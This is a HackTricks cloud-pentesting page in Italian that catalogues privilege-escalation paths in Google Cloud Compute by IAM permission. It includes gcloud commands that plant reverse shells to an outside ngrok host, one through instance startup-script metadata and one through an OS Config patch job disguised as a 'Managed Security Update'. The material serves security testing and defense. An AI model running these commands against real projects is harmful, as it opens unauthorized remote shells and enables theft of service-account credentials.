GCP - Compute Privesc

Support HackTricks

Compute

Per ulteriori informazioni su Compute e VPC (rete) in GCP controlla:

GCP - Compute Enum

Nota che per eseguire tutti gli attacchi di escalation dei privilegi che richiedono di modificare i metadati dell'istanza (come aggiungere nuovi utenti e chiavi SSH) è necessario avere permessi actAs sul SA allegato all'istanza, anche se il SA è già allegato!

compute.projects.setCommonInstanceMetadata

Con quel permesso puoi modificare le informazioni di metadati di un'istanza e cambiare le chiavi autorizzate di un utente, o creare un nuovo utente con permessi sudo. Pertanto, sarai in grado di eseguire via SSH in qualsiasi istanza VM e rubare l'Account di Servizio GCP con cui l'istanza sta funzionando. Limitazioni:

  • Nota che gli Account di Servizio GCP in esecuzione nelle istanze VM per impostazione predefinita hanno un ambito molto limitato

  • Dovrai essere in grado di contattare il server SSH per accedere

Per ulteriori informazioni su come sfruttare questo permesso controlla:

GCP - Add Custom SSH Metadata

Puoi anche eseguire questo attacco aggiungendo un nuovo script di avvio e riavviando l'istanza:

gcloud compute instances add-metadata my-vm-instance \
--metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'

gcloud compute instances reset my-vm-instance

compute.instances.setMetadata

Questo permesso fornisce i stessi privilegi del permesso precedente ma su istanze specifiche invece che su un intero progetto. Gli stessi exploit e limitazioni della sezione precedente si applicano.

compute.instances.setIamPolicy

Questo tipo di permesso ti permetterà di assegnare a te stesso un ruolo con i permessi precedenti e di elevare i privilegi abusando di essi.

compute.instances.osLogin

Se OSLogin è abilitato nell'istanza, con questo permesso puoi semplicemente eseguire gcloud compute ssh [INSTANCE] e connetterti all'istanza. Non avrai privilegi di root all'interno dell'istanza.

Per effettuare correttamente il login con questo permesso all'interno dell'istanza VM, devi avere il permesso iam.serviceAccounts.actAs sul SA associato alla VM.

compute.instances.osAdminLogin

Se OSLogin è abilitato nell'istanza, con questo permesso puoi semplicemente eseguire gcloud compute ssh [INSTANCE] e connetterti all'istanza. Avrai privilegi di root all'interno dell'istanza.

Per effettuare correttamente il login con questo permesso all'interno dell'istanza VM, devi avere il permesso iam.serviceAccounts.actAs sul SA associato alla VM.

compute.instances.create,iam.serviceAccounts.actAs, compute.disks.create, compute.instances.create, compute.instances.setMetadata, compute.instances.setServiceAccount, compute.subnetworks.use, compute.subnetworks.useExternalIp

È possibile creare una macchina virtuale con un Service Account assegnato e rubare il token dell'account di servizio accedendo ai metadati per elevare i privilegi su di esso.

Lo script di exploit per questo metodo può essere trovato qui.

osconfig.patchDeployments.create | osconfig.patchJobs.exec

Se hai i permessi osconfig.patchDeployments.create o osconfig.patchJobs.exec puoi creare un lavoro di patch o distribuzione. Questo ti permetterà di muoverti lateralmente nell'ambiente e ottenere l'esecuzione di codice su tutte le istanze di calcolo all'interno di un progetto.

Nota che al momento non hai bisogno del permesso actAs sul SA associato all'istanza.

Se vuoi sfruttare manualmente questo, dovrai creare o un lavoro di patch o distribuzione. Per un lavoro di patch esegui:

cat > /tmp/patch-job.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1
EOF

gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh

# Get the generation number
gsutil ls -a gs://readable-bucket-by-sa-in-instance

gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
--instance-filter-names=zones/us-central1-a/instances/<instance-name> \
--pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
--reboot-config=never \
--display-name="Managed Security Update" \
--duration=300s

Per distribuire un'implementazione di patch:

gcloud compute os-config patch-deployments create <name> ...

Lo strumento patchy potrebbe essere stato utilizzato in passato per sfruttare questa misconfigurazione (ma ora non funziona).

Un attaccante potrebbe anche abusare di questo per la persistenza.

compute.machineImages.setIamPolicy

Concediti permessi extra per l'immagine di calcolo.

compute.snapshots.setIamPolicy

Concediti permessi extra per uno snapshot del disco.

compute.disks.setIamPolicy

Concediti permessi extra per un disco.

Bypass Access Scopes

Seguendo questo link troverai alcune idee per provare a bypassare gli access scopes.

Local Privilege Escalation in GCP Compute instance

GCP - local privilege escalation ssh pivoting

References

Support HackTricks

Last updated